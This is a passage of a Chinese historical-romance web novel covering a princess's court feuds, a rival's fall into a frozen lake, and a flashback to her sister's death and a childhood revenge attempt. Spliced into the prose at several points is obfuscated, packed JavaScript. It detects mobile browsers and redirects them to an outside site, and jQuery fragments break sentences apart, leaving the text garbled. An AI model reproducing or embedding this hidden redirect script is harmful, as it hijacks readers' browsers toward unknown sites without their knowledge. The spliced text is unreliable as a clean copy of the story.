是了，当年在书院里，最热衷于往她心窝子里捅软刀子、看她狼狈的，就是眼前这一位了。那些夹枪带棒的“戏谑”，那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860267|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故作无心的“指点”，桩桩件件，令她没齿难忘。 祁悠然甚至能清晰地记起那个雪后的下午，裴朔漫不经心地抬脚，朝着树干看似随意地一踹——“哗啦”，积压的寒雪兜头盖脸地砸下，冰冷刺骨，瞬间将她浇了个透心凉，当夜便发起了高热，烧得神智昏沉。 祁悠然皱眉，她将目光从裴朔那张写满讥诮的脸上移开，缓缓投向那株被他倚靠着的梅树。可惜了，红梅开得正是热闹，仿佛全然不知自己沦落为了这场言语交锋的背景。 “这梅树么？”祁悠然冷冷开口，“进了我院子，虽说未必能活得多么精神焕发，好歹还能挣扎着喘上一口气，熬过这个冬天也说不定。可若是去了裴公子你那府上……” 她嘴角勾起一抹讽刺的弧度，故意顿了顿，眼波流转，慢悠悠扫过裴朔沉下来的脸色，才轻飘飘地续道：“……怕是连一炷香的功夫都挺不过去，就要‘水土不服’，香消玉殒了呢。” 裴家那些阴私，不论是大房还是二房，都不算好相与的，关起门来斗便也算了，偏要闹得人尽皆知。下毒、构陷、夺产、逼死……手段之酷烈，心思之龌龊，桩桩件件都上不得台面。 这些腌臜事，虽碍于颜面无人敢公然议论，却早就在这上流圈子的茶余饭后，被咀嚼得烂熟，成了心照不宣的谈资。谁家后院没点见不得光的？但像裴家这样，把台面下的肮脏泼洒得几乎人尽皆知的，也是独一份了。 祁悠然这话，却是利落扯开了裴家那层薄如蝉翼的遮羞布。明面上说的是梅花，却暗讽裴家就是个连一株花都养不活的绝地，是个活物进去都得被那污糟的“水土”毒死、斗死、冤死的地方。 果不其然，祁悠然话音刚落，裴朔就变了脸。他嘴角那点玩世不恭的笑意像是被冻住了，凝固成一个极其难看、扭曲的弧度：“郡主好口才，真叫裴某佩服。” “郡主还好从小没有母亲指导，”他突然走过来，嘴角重又噙着一抹扭曲的、带着报复快意的笑，声音不高，却如同毒蛇吐信，“若是被教过，还不知会练就一副什么样的铁齿铜牙。” 前阵子撞见顾濯温颜相会的烦躁，遇刺时的惊惧，周氏母女的消失，连同此刻裴朔字字淬毒的嘲讽……冰冷黏稠的负面情绪如蛛丝般将祁悠然细细密密地裹缠起来。 一股浊气淤塞在胸口，沉沉地坠着，憋闷的无力感陡然袭向她。 刹那间，她又变回了那个孑然一身的恶鬼，内里空空荡荡，只余一股子阴寒戾气，外头只虚虚挂着一层皮相，簌簌抖着，一阵阴风过处便能悉数抖落，露出底下那点可憎的面目。 她抬起头，明明身形比裴朔矮了不少，可那双眼睛抬起来时，却带着股居高临下的审视意味。 刀子般的目光冷冷刮过裴朔的脸。 随后—— 没有预兆，没有怒斥。 “啪！” 一个巴掌落了下去。 是清脆到近乎刺耳的脆响。 12. 落水 空气里结着冰。 裴朔一怔。 随后，他抚上半边脸颊，上面热辣辣地浮起一层红。 “郡主真是好力气，受了伤居然还打得裴某这么疼，莫不是幼时在农家锻炼出来的？”他嘴角仍挂着挑衅的笑，精心维持着那份带着毒刺的轻佻。 祁悠然眼风也没扫他一下，只淡淡道：“打你的是左手。” “……” 这番动静大得很，引得几个离得近的宾客纷纷侧目看过来，眼神在祁悠然和裴朔之间来回逡巡，带着一丝隐秘的、看好戏的兴奋。 闹剧像滩头因曝晒而鳞片剥落的鱼尸，腥膻混着死物的黏稠，教人掩鼻不及。可偏生有几只猫嗅着了，暗地里耸着鼻尖，喉头都滚着馋涎。 这锦绣堆里，最不缺的就是这种带着腥咸气的恶意。 顾濯身形微滞，看她的目光复杂，但也几乎是下意识地，挡在祁悠然身前。 举动浸透了些说不出的意味。 “晏川，郡主近来脾气怎么这么暴躁，莫不是春闺寂寥、欲求不满……” “既明。”顾濯眉心微蹙。 祁悠然最是厌恶裴朔这般满口荒唐话，她冷冷地掠过裴朔那张不知收敛的脸。 红痕依旧，似是更深更浊了些，像泼洒了一滩浓腥的鱼血。 ——还是打得不够重。 她也不管周围，裙裾无声地一旋，撇下其他人自顾自离开。 独留一场好戏戛然而止。 . 祁悠然避到湖边，此处无人，她难得寻到些清静。 偌大的湖面结了冰，映不出虚浮的雕梁画栋，干净得像块专为湮灭而生的画布——是个推人下去的好地方。 那些碍眼的人或事，悄无声息地沉下去，再如意不过了。 这念头本身，就带着一种剔透的、冰冷的爽利感。 祁悠然对自己此刻的心境感到一种近乎熨帖的满意。 遇事不决？ 何须辗转反侧、自苦自伤？ 不如先解决了那“事”的源头，那“人”的本身。 如同剪断一团乱麻，最利落的法子，从来不是耐心梳理，而是寻到线头，一刀两断。 冷不丁望见远处水榭，温颜正同皇后在下棋，姿态娴雅得如同一幅工笔画。 祁悠然那点臆想的愉悦又堪堪沉下去。 恰好对上目光，温颜朝她笑了笑，无端透着一股子精心算计的虚伪。 她惯会酝酿些黏黏糊糊的把戏，像把蜜糖和砒霜搅在一起，毒死别人前先把自己腌入味了。 祁悠然有时候挺佩服她的，明明对自己深恶痛绝，仍能温婉得无懈可击、滴水不漏。 啧，又穿了一身孝服，像块蘸了毒药的杏仁豆腐，看着绵软，实则致命。 被温颜这么一搅和，方才被强压下去的对宴席喧嚣的厌烦，竟诡异地淡了些。 祁悠然开始怀念刚刚的锦绣堆了。 不过这又是死鱼，又是毒豆腐的，不如寻口大锅，一股脑儿丢进去，架上柴，咕嘟咕嘟地煲成汤算了。 横竖都是叫人……不得安生。 . 围着观棋的众贵女却是循着温颜的目光齐刷刷看过来。 皇后似是也察觉到了异样，放下了执棋的手。 不知温颜张口说了些什么，遥遥地，朝着祁悠然的方向，皇后抬起了那只戴着镀金累丝护甲套的手，轻轻招了招。 那姿态，仿佛在召唤一只不太驯顺的猫儿狗儿。 祁悠然在心里冷笑一声。 刚唱完一出戏，这厢便又搭好台子、组好班子等她了。 真是荣幸，她一个下里巴人，也能成为“角儿”。 湖面吹来的寒风，刀子似的刮在脸上。祁悠然望着水榭里那众星捧月般的人影，望着那张在皇后华光映衬下愈发显得无辜又得意的脸，一个念头，带着刺骨的寒意，却无比清晰地浮了上来，在她心间盘桓。 ——真想就这么走过去，一把将她从里面拖出来，拖到这冰封的湖边，亲手……推下去。 伤口带着结疤的痒意，祁悠然的手虚虚动了一下，仿佛难耐这股子别扭，又仿佛在丈量，在比划，在无声地演练着那“轻轻一推”的力道与角度。 . 祁悠然沉沉呼出一口气，白雾在寒风中瞬间消散，如同她方才在湖边那点短暂的、带着杀意的念头。 她不疾不徐地踱步过去。 骤然闯进，水榭里一股混合着暖炉炭气、名贵熏香、以及脂粉甜腻的暖风，如同一条湿热的舌头，猝不及防地舔舐上她裸露在外的肌肤。 她听见了那些被压抑的细微私语，像蛇在草丛里游走的窸窣声。 可在她踏进内里的一瞬，她们又停下了交谈。 几双描画精致的眼睛抬起来，落在她身上，带着来不及收起的探究，还有一丝刻意维持的矜持的静默。 祁悠然起了一身鸡皮疙瘩。 她陡然生出一种被强行拖入温吞沼泽，受到肆意窥视的黏稠恶心感。 皇后端坐着，一身明黄凤袍，华贵得如同庙里的金身菩萨，脸上挂着普度众生般的雍容笑意。 “恭请皇后娘娘圣安。”祁悠然强压下胸口那口翻腾的浊气，敛衽屈膝，朝着那尊端坐的“金身菩萨”行下礼去。 “免礼。”皇后依然笑得慈蔼。在炭火下，她身上那身凤袍金线流转，晃得人眼晕，像庙里菩萨脸上那层永远不变的、悲悯又漠然的金漆，衬得她脸上笑意愈发虚浮，“方才温颜还念叨你，说湖风冷冽，怕你着了寒气。快过来暖暖。” “谢娘娘关怀……谢温小姐挂念。”祁悠然哽了一下。 皇后含笑点头，目光在她脸上逡巡，仿佛在欣赏一件终于归置妥当的物件，对这低眉顺眼的姿态很是满意。 “若本宫没记错，”那声音轻轻地递过来，却自有分量，“你的棋艺早年是得过姚博士亲自点拨的？如今可愿替本宫完成这副残局？”她指尖随意点了点面前那副黑白交错的棋枰，笑意更深，眼尾绽出细纹。 祁悠然一愣，右手伤口传来钻心的刺痒。让她执棋？在这众目睽睽之下，用连茶盏都端不稳的手？ 这分明是想让她当众出丑。 佛口蛇心的老妖怪。 她尚未开口，一旁的温颜突然笑了，善解人意道：“娘娘，郡主棋艺精湛，只是……想来是觉得屈尊与我这等微末棋力对弈，无甚意趣罢了。娘娘不如赐个彩头作赌？也好让郡主尽兴些？” 她什么时候又多了个“棋艺精湛”的称号了？ 她能感受到落在身上的幸灾乐祸目光。 这竟是场木偶戏。 温颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860268|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是牵线提偶的伶俐人，皇后是稳坐高台、笑看风云的班主，而满堂的贵女，便是那兴致勃勃、等着好戏开锣的观众。 至于她，却是被硬塞上台、供她们佐茶解闷、最不值钱的木偶罢了。 祁悠然眼神一冷，扫过温颜手腕上的白玉菩提佛珠，未等皇后开口，自顾自地赞赏：“娘娘赐给温小姐的这串佛珠，近看之下，雕工更显别致了。玉质温润，宝光内蕴，果然非凡品可比。” 她挺直了脊梁，掠过温颜那张笑意僵住的脸，目光平静地迎向皇后。 皇后面上的笑容依旧不变，指腹在佛珠上捻过，眼底掠过一丝不易察觉的阴霾。 “身体不适，悠然先告辞了。”她潦草地屈了屈膝。 没有礼数，不成体统，她一眼也不再看身后，离了这塞满魑魅魍魉的妖怪窝。 . “郡主且慢。” 温颜竟追了过来。 她自袖中取出一个莹白小瓷瓶，釉色温润，递过来时指尖亦是纤尘不染：“听闻郡主右手受了伤，特意带了祛疤膏，还望郡主不嫌弃。” 祁悠然冷冷看向她，似讥似嘲，“温小姐这会儿子倒舍得给药了？” 语气平淡，底下却分明洇着一股子沉甸甸的、陈年的恨。 温颜的手依旧悬在空中，仿佛祁悠然不拿便不罢休。 无事献殷勤。 祁悠然皱眉，不耐烦地伸手接过，温颜的手指，却在这一刹那，极其自然地、带着一种近乎无辜的轻盈，松开了。 一声清脆又短促的裂响，药瓶掉落在地，一片狼藉。 温颜忽地又凑近一步，她勾起唇：“那日在松风楼，我与晏川……相谈甚欢。” 许是常年在佛前，她身上浸染着股檀香。 那香气，原是超脱红尘的象征，此刻却成了最污秽的催吐妙药。 祁悠然只觉得胃里一阵翻搅，方才冰湖边那点杀意，此刻被这香一熏，竟似发酵般膨胀起来，带着一股酸腐气直冲喉头。 . 宴厅内，丝竹管弦正奏到一处繁复乐章，无甚新意的曲子，裹着脂粉香与酒气，在暖融融的空气里浮沉。 祁悠然便是这时，踩着那浮华的调子姗姗来迟，周身还裹挟着未曾散尽的凛冽寒气。 顾濯的目光越过杯盏人影，沉沉地落在她身上：“你去哪里了？” “随便转了转。”祁悠然眼波都未动一下，答得轻描淡写。 恰在此时，“不好了不好了！”远处传来尖利得变了调的哭喊声。 一个婢女跌跌撞撞地冲进来，声音抖得不成样子：“温、温小姐……落水了！” 一席话如滚油如水，激起沸腾的噪动。 顾濯转头看向祁悠然：“怎么回事？” 那声音是温的，却像冬日里结了冰的湖面，底下藏着寒意。 “我怎么会知道温小姐的事？”祁悠然眼睫低垂，状似随意地拈起案上一块精巧的芙蓉糕，慢悠悠地开口，尾音带着事不关己的微扬。 就在糕点堪堪入口的瞬间—— 顾濯带着不容抗拒的力道猛然攥住她的手，倾身逼近，眉目间尽是霜色。 “祁悠然，”他一字一顿，语气裹挟着了然的洞悉和冰冷的失望，“你每次……情绪一有不对，就会像这样，拿起手边的吃食往嘴里塞。” 13. 离席 芙蓉糕簌簌落下些碎屑，伤疤又开始泛起不合时宜的痛痒。 祁悠然的手腕在顾濯掌心里，严丝合缝地握着。 成亲三载，他们好像是头一回这般亲密……却是为了另一个女人。 那力道是带了怒与惊痛的，指腹铁钳似的箍着，几乎要嵌进皮肉里去。她腕间那点微弱的脉搏，便在他掌心底下，突突地跳，像只受惊的雀儿，徒劳地撞着囚笼。 可她面上，却分毫未动。 连一丝因疼痛而起的涟漪也无。 那双眸子，空洞而平静，灰蒙蒙的，映不出顾濯眼中翻涌不息的墨色，也吞不下周遭浮光掠影的惊惶。 她没有挣扎，没有辩解，仿佛被顾濯攥住的，并非她的血肉之躯，而是一截早已失去知觉的、蛀空了的朽木。 呵…… 她心底泛起冰凉的嘲意。 触到他心尖上的那块肉了，纵是再心如死水、古井无波的人，也会被砸出滔天波澜。 原是她分量不够罢了。 这认知，比腕骨的疼痛更钻心，是细针密密地挑着神经，一下，又一下。 “咳咳……”一股腥甜的铁锈气猛地从肺腑深处倒冲上来，她又开始撕心裂肺地咳嗽。 那咳嗽来得又凶又急，仿佛要将她那颗千疮百孔的心连同五脏六腑都从喉咙里硬生生地呕出来。她单薄的肩胛剧烈地起伏、颤抖。 顾濯那双沉得化不开的眼眸里，终究还是裂开了一丝缝隙，泄露出一点连他自己都未曾察觉的、本能般的惊惶与无措。他几乎是下意识地，松开了桎梏。 祁悠然强压住翻腾的气血，抬起脸，凑近他。 彼此灼热又冰冷的呼吸，在咫尺间无声地交缠、厮杀。 “夫君不妨……问问自己的这颗心。”她的声音沙哑得不成样子，偏生还要一字一字往外吐，带着一种凄厉的、近乎残忍的坚持，“若你心里没她，那我与温颜，便桥归桥，路归路，彼此相安无事。”她顿了顿，气息微弱，最后一句几乎是贴着唇缝挤出来的气音，透着玉石俱焚的狠辣，“若你心里有她，那人就当是我推的。今天她命大没死成，下次……” “郡主慎言！”顾濯眉头倏地一紧，他周身的气息瞬间冷冽下来。 然而，那副拒人千里的躯壳底下，却泄露出一点不易察觉的狼狈，他不自觉地向后撤开一步。 空气，冻得滞重。 顾濯却霍然起身，洇开一片浓得化不开的阴翳。 几乎是本能地，祁悠然伸出手，冰凉的、指尖微微痉挛的手指，死死攥住了顾濯的衣袖。 “你要去哪？不许去！”祁悠然低呵，“顾濯！你一个外男……” 顾濯的脚步被这突如其来的牵扯钉在原地。他皱眉，那眉宇间凝聚的已非不悦，而是深沉的厌烦与被冒犯的冰冷。他垂下眼，以一种近乎粗暴的、不容置疑的力道，拂开了她紧扣的手指。 祁悠然的目光，如同两盏耗尽了最后灯油的残烛，幽幽地黏附在顾濯那匆匆离去的背影上。 他走得那样急迫，那样决绝，她甚至抓不到衣袂带起的风。 他知道众人在看他们，可他不在乎。 不在乎周遭沸水般翻滚的议论，不在乎自己有妇之夫的身份，不在乎……她。 挫败感难堪而孤绝地涌上来，沉沉地淤塞在空气里。 那些肥厚的唇瓣，那些喷着唾沫的嘴，在她四面八方，如同浑浊河塘里无数翕动的鱼唇，无声地、贪婪地开合着。 没有声音。 或者说，那些声音被这凝固的、令人窒息的空气过滤掉了，只剩下唇齿间单调而诡异的翕动。像鱼朝着水面吐出一串串苍白、黏腻、转瞬即破的泡沫。 无形的泡沫，带着窥探的腥气、审判的冰冷、幸灾乐祸的浮光，密密麻麻地升腾、汇聚，无声无息地将她层层包裹、紧紧禁锢其中。 每一个泡泡破裂的瞬间，都仿佛释放出无声的嗤笑，无形的指摘，黏稠的怜悯，糊住她的口鼻，缠住她的四肢百骸。 伤口崩裂，渗出血来。 她疲软地向后一靠，脊背重重地抵住了身后冰冷的桌案。那坚硬的边沿硌着她的骨头，带来一丝微弱的、近乎麻木的痛感。 她再一次失了活气——靠着胭脂点染出的那点虚假的艳色救不回来的活气。 这一点都不体面，可以说是颜面扫地了。她想。 而这念头，像一枚冰冷的银针，猝不及防地刺入祁悠然早已麻木混沌的识海。 不是愤怒，不是悲伤，而是一种近乎抽离的、对这副残破皮囊陷于如此狼狈境地的……嫌弃。 她调整好呼吸，缓慢地、一寸一寸地起身，像修复瓷器般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她顿了顿，仿佛在积蓄最后一点力气，才将那后半句，如同一声最轻也最重的叹息，幽幽地吐了出来：“如今我年岁比你大了。” 14. 死生 前头那个下雪天，她收获颇丰——得了好心人的帮助，不仅拿到了人参，还守住了鸡蛋。 离生娃娃还有一阵子，阿姐有了这人参补气，再吃了这鸡蛋，一定能好起来，顺利生个胖乎乎的小妹妹！ 挑了个好天气，她喜滋滋地小跑着去张府。 阳光金灿灿地洒下来，像在为她报喜。 那张因为挨饿而干瘪的面孔也难得焕发出明媚的光彩。 她的心口因着疾跑猛烈跳着，怀里紧紧搂着那几枚鸡蛋，温温的，圆圆的，像是揣着几个小小的、滚烫的太阳。 仿佛下一刻，那薄脆的蛋壳就要顶不住这狂喜的震荡，里头黄茸茸的小东西便要欢喜地钻出来，扑棱着那身还未干透的软毛，在她心口没头没脑地乱撞一气。 快些，再快些…… 她脚下生了风，好似只要跑得够快，这虚妄的欢喜便能坐实了。 她跑到侧门，那个惯常倚在门框上耷拉着三角眼，一见她就刻薄地啐一句“又来打秋风”的干瘦婆子，今日竟破天荒地没拦她。 非但没拦，那婆子浑浊的老眼直勾勾地看着她，嘴角那两道惯于刻薄的皱纹向下撇着，竟异样地沉沉叹了口气。 她被那眼神里混杂着怜悯、同情甚至一丝……哀伤的复杂情绪，惹得心头猛地一突，脚下也不由自主地顿住了。 她下意识将怀里的包裹抱得更紧了。 一股浓得化不开的药味和血腥味漫了过来。 她僵在了门口，像是猜到了什么，不再有勇气进去。 她死死盯着那门框。 它冰冷地、坚硬地竖在那里，无情地切割着门内门外两个世界。 门框里面，是那片散发着死亡浊气的、昏暗不明的所在，它贪婪地盘踞在整个屋子里；门框外面，是刚刚照在她身上，为她贺喜的明媚阳光，它吝啬地只施舍在一寸之地。 一道门，隔开了光与暗，生与死，热望与绝望。 像隔着阴阳两界的界碑。 泾渭分明。 她幽幽吐出一口气，还是迈出了步子。 进入门内的一瞬，极致的光与极致的暗，同时烙印在她小小的身体上，像一把凌厉的铡刀，劈裂了她刚刚还欢快雀跃的整个世界。 她迷茫而迟缓地眨了眨眼。 随后，怯怯地、虚虚地挪近前去。 “阿姐……？”她抖着声音唤了一声。 没有回应。 她终于不再犹豫，走上前去。 一只小手，带着一路奔跑后的微温和孩童特有的、未谙世事的柔软，迟疑地、轻轻地握住了女人垂在锦被外的一根手指。 阿姐……我想吃糖了…… 阿姐……我以后不跟你赌气了…… 阿姐……说好的再等等呢…… 阿姐……你理理我…… 没有回应。 一个她本能地不想去看、不愿去想、更绝对不愿意去接受的，血淋淋的、冰冷的、终结的……事实摆在她的面前。 心口底下，原还淤着一团焦躁而沉闷的担忧，被她用天真的期许硬生生按捺下去。此刻，这股担忧彻底转化成了悍然的痛意——再不容她粉饰太平，骤然倾轧而来，像磨盘在心口上碾。 是……来得太晚了吗？ 她懵住了。 随后，她急促地喘着气。 一股酸涩的、陌生的悲恸，稀奇古怪地、毫无章法地翻涌了上来，在她体内左冲右突。 先是盘踞在胸腔——那里像是塞满了浸水的棉絮，又胀又涩，使得她每一次喘息都带着滞重的回响。 接着，它狡猾地浮游到喉间——像被人强迫着灌了壶陈醋，那滋味不上不下，酸涩的液体顽固地淤塞在喉头，咽不下，吐不出，徒然烧灼着，燎起一片焦渴。 几乎是同一时间，它毫无征兆地窜上了鼻尖——鼻翼不受控制地翕动着，酸意直冲而上，刺得鼻梁发痛。 最后，它终于势不可挡地一路攀升，汹涌地漫上了眼眶——眼前阿姐苍白的面容、被子上刺目的猩红，都模糊了，扭曲了，蒙上了一层滚烫的、沉重的水雾。 她被这股七零八落、东拼西凑的情绪冲击得眼前阵阵发黑。 你是大孩子了！ 不可以哭！ 太丢脸了，会被笑话的！ 可是……阿姐…… 偏是那不识相的鼻涕先淌了下来。 黏糊糊的，太脏了，好丢脸…… 人原是不配两全的，眼泪和体面总要糟蹋一样。 她狼狈地、使劲地想把不体面的鼻涕吸回去，动作间带得眼眶一颤，那滚烫的、咸涩的泪水，终究还是决了堤，汹涌而出，彻底弄脏了这张脸。 涕泪滂沱。 眼泪和体面，到底是一样也没能守住。 那张小小的、原本尚算齐整的面孔，顷刻间便塌陷下去，成了一片狼藉的废墟。 脚步声近了，有人来了。 她的耳朵里嗡嗡作响，捕捉到一些破碎的、惊惶的字眼：“……早产……血崩……不成了……” 几句含混不清、带着醉意和推诿的嘟囔：“我也没想到……我就是喝醉了，轻轻推了她一下……” 一声如释重负的庆幸：“还好怀的是个不值钱的女婴……” “是你！”她发出一声尖利得变了形的嘶喊，如同濒死幼兽的绝命哀嚎。 她小小的身体爆发出惊人的力量，不管不顾地撞开挡在身前的模糊人影，跌跌撞撞地朝着那声音来源——那个散发着浓烈酒气、身形摇晃的男人猛扑过去。 “是你害了我阿姐！”她声嘶力竭。 然而，回应她的，不是愧疚，不是辩解。 是一只华贵得刺眼的皂靴，带着主人被冒犯的暴怒与醉汉的蛮力，毫不留情地结结实实踹在了她单薄的胸口。 她跌倒在地上，人参盒子滚出来，鸡蛋碎了。 男人那双被酒精烧得通红、布满血丝的眼，贪婪地、直勾勾地，落在了那支须发虬结、品相极佳的老山参上。 他喉咙里发出一声含混的满意咕哝，像是秃鹫发现了肥美的腐肉。他不甚在意地抬脚，随意地碾过地上那滩黏腻冰冷的蛋液狼藉，皂靴底沾上了浑浊的黄白污迹和细碎的蛋壳渣，发出细碎的咯吱声。 他弯下腰，迫不及待地抓起了那支人参，浑浊的眼中迸射出毫不掩饰的占有欲与贪婪。 屋内的女人，身下是黏腻的鲜血，躺在冰冷的黑暗中，无人问津。 屋外的孩童，身下是黏腻的蛋液，躺在刺目的阳光下，被彻底遗忘。 而这锒铛的困窘，最终却是靠着几两银子，换得个息事宁人的结局。 不…… 她偏要搅了这面上光、里子朽的“太平”。 几日的坎坷与波折，没有让她心中的痛苦钝化，反而在仇恨的磨刀石下愈发锐利。 她将那恨意久久地悬在心上，时间每每想风平浪静压下，让伤疤结痂，那把仇恨的锥子便在心口划下，把痂扣烂，重又绽开鲜血淋漓的口子， 永远新鲜，永远强烈。 一经发作便迸发出支撑她活下去的、充盈生命力的痛意。 她逆着光再次走进那间当铺。 那朝奉看见她，没好气地吹胡子瞪眼。 “哟！”他拖长了调子，眼皮都懒得掀一下，“你这乡下来的泥腿子，又来要饭了？我这儿可不是善堂！” 她面无表情地走上前，动作带着一种近乎呆滞的平稳。 原来经历过巨大的悲痛后，那些本以为难以忍受的冷嘲热讽，根本微不足道。 啪嗒。 一声轻响。 一枚温润莹白的玉佩，轻轻地搁在了柜面上。 “帮我找一口上好的棺材。”她的声音沙哑，平直得没有一丝起伏，像枯井里刮出的冷风。 话音未落，她又从身后抽出了一件物事。 哐当。 一声沉重的闷响。 竟是把农家的、笨重的、卷了刃豁了口的菜刀。 此刻，它滑稽地、突兀地躺在了那莹润的玉佩旁边。 “你若照做，玉给你。”她的声音压得极低，“你若不做——” 她微微向前倾身，将那把卷了刃的笨重菜刀，更紧地攥在手中，仿佛那是她唯一的倚仗，自以为是地宣告着威胁：“我便死在这！” “你这铺子……”她顿了顿，呼出一口带着血腥的浊气，“也……别想好过！” 眼里，是孤注一掷、摧枯拉朽的偏执和疯狂。 那朝奉吊梢眼里惯常的刻薄与不耐，终于被这不要命的架势给刺得收敛了几分。他皱眉，上上下下、仔仔细细地打量着眼前这个衣衫破旧、脸色惨白、眼神却疯得吓人的孩子。 良久，他意味不明地叹出一口气。 棺材下葬，入土为安。 它们宣告着一种仪式的完成，一种世俗的了结，一种……生者对死者自以为是的“安排”。 终是彻底隔开了生与死。 她无言地看着。 脸上透出死灰般迟钝、麻木而浑浊的底色。 阿姐…… 她张了张嘴，想唤出那个刻在骨血里、融在呼吸中的称谓，可嗓子实在太干，只能发出几个徒劳的音节。 几片枯叶，打着旋儿，无依地飘落。 “啧……”朝奉咂了咂嘴，声音带着一种洞穿世情的凉薄：“我原本以为自己做这典当生意，便算顶顶黑心的营生了……” 他忽地嗤笑一声：“没想到啊没想到，你那对父母，竟比我这钻钱眼的还卑劣龌龊。亲生的女儿居然也舍得一卷草席……” 朝奉蓦地住了口，发出一句低低的感叹：“也是歹竹出好笋了，有你这么个情深义重的。” 她抿着干裂的嘴唇，没有说话。 朝奉撇了撇嘴，似乎也觉得跟个半疯的泥腿子置气掉了身价。 “行了，”他不耐烦地挥挥手，“玉我拿走了。” “这些钱你拿着。”他拿出一个钱袋，“算是抵那棺材钱里……多出来的。” 吊梢眼里精光一闪，难得地带了点近乎施舍的告诫：“记着，千万……藏好了。” “还有，下次想找死，换个物件。那菜刀太钝了，可砍不动人。” 祁悠然低垂的眼睫，微微地颤了一下：“谢谢……” 她看着那个逐渐空瘪的钱袋，蜷缩在阴暗的角落，黑沉的眼眸里，只映着张府那高耸的朱门。 算着日子，等到那张府大娘子生产，府里兵荒马乱那天，她趁乱溜了进去。 仆妇们端着血水盆脚步踉跄地穿梭，稳婆尖利的吆喝声撕扯着紧绷的空气，她如同一只嗅到血腥气的、瘦骨嶙峋的幼兽，悄无声息地潜入了这片混乱的中心。 她避开所有惊惶的人影，摸向了那座供奉着张家列祖列宗的祠堂。 幽暗的光线下，一排排乌沉的牌位，森然地俯视着这个闯入者，无声地散发着高高在上的威压。 她却毫不畏惧。 她踮起脚尖，瘦小的胳膊竭力伸长，将那方沾着血的帕子，死死地塞进了最高处、最显眼那块张家先祖牌位的背后缝隙里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860270|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她要让张家列祖列宗，世世代代，都在这块染血的帕子上，日夜嗅着那洗不净的罪孽。 她要让所有跪拜于此的张家人，每一次叩首，都如同跪在阿姐的冤魂面前。 做完这一切，她摸出了一把小巧的匕首。 她要为阿姐和她的孩子报仇！ 痛为薪、恨为焰，月光落在她沉沉的眼睛里，化作两簇幽幽的鬼火。 可……她是不速之客，也是一个孩童。 孩童的力量太单薄，她还没冲上前去，便被反应过来的家丁拦下。 螳臂当车，自不量力。 理所当然地，她失败了。 败得毫无悬念，败得屈辱不堪。 “小杂种！”男人抬脚，带着积攒的暴怒与被冒犯的戾气，狠狠地、雨点般踹在她单薄的脊背、肋骨、腹部…… 鲜血的腥甜瞬间涌上喉头，又被她死死地咽了回去。 她咬碎了嘴唇，尝到浓重的铁锈味，却倔强地不肯发出一声哀嚎，只用那双淬了毒、烧着血的眼，死死地、诅咒般地钉着那张扭曲的脸。 “生了！生了！竟是个带把儿的！天大的喜事啊！”报喜的声音炸开来。 新的生命放声啼哭，旧的灵魂噤声呜咽。 啼哭响彻云霄，呜咽湮没虚空。 众人舒展着身子在得偿所愿地高喝，她佝偻着躯体在饮恨吞声地残喘。 男人喘着粗气，踹得也有些乏了。他阴鸷地扫了一眼地上那蜷缩成一团的气息微弱的身影。 为刚出世的儿子的积福，出于一丝事后可能存在的心虚，亦或是对一个彻底失去反抗能力的蝼蚁的轻蔑与不屑。 她最终被放过了。 虽然遍体鳞伤，筋骨欲折。 但头颅却要低下去，低到尘埃里，只为叩谢那一点施舍般的“仁慈”。 父母将她领了回去，一路拖曳着，如同拖一袋破败的废物。 茅草屋比记忆中更破败了，像张缺了牙的嘴，呼哧着霉烂气味将她吞噬。 还没等喘匀气，新一轮的拳脚又落下来。这回她连躲都懒得躲，任那些疼痛在骨缝里生根发芽。 奄奄一息，伤痕累累。 许是被她眼中的狠厉吓到，许是怕张家报复，许是家里实在入不敷出…… 又或许根本不需要这些冠冕堂皇的理由。 横竖，她被按着，卖去了青楼。 弟弟天宝，竟欢天喜地地吵着要跟去。那雀跃的神气，与往日吵着要去集市看猴戏，分毫不差。 也对，卖了这累赘般的姐姐，换来的铜板，总能漏下几个给他买点零嘴玩意儿，他如何能不高兴？ 老鸨挑剔的眼神在她身上刮来刮去：“太瘦，没几两肉，八十个铜板。” 她不合时宜地想起了曾经在当铺朝奉打量那块玉的眼神。 一模一样。 哦，不。还是不同的。 朝奉眼底深处，多少还藏着一星半点对名贵物件本能的惋惜。 “她还没长开，以后一定是个美人胚子。”母亲谄媚的声音带着讨好，父亲在一旁搓着手陪笑。 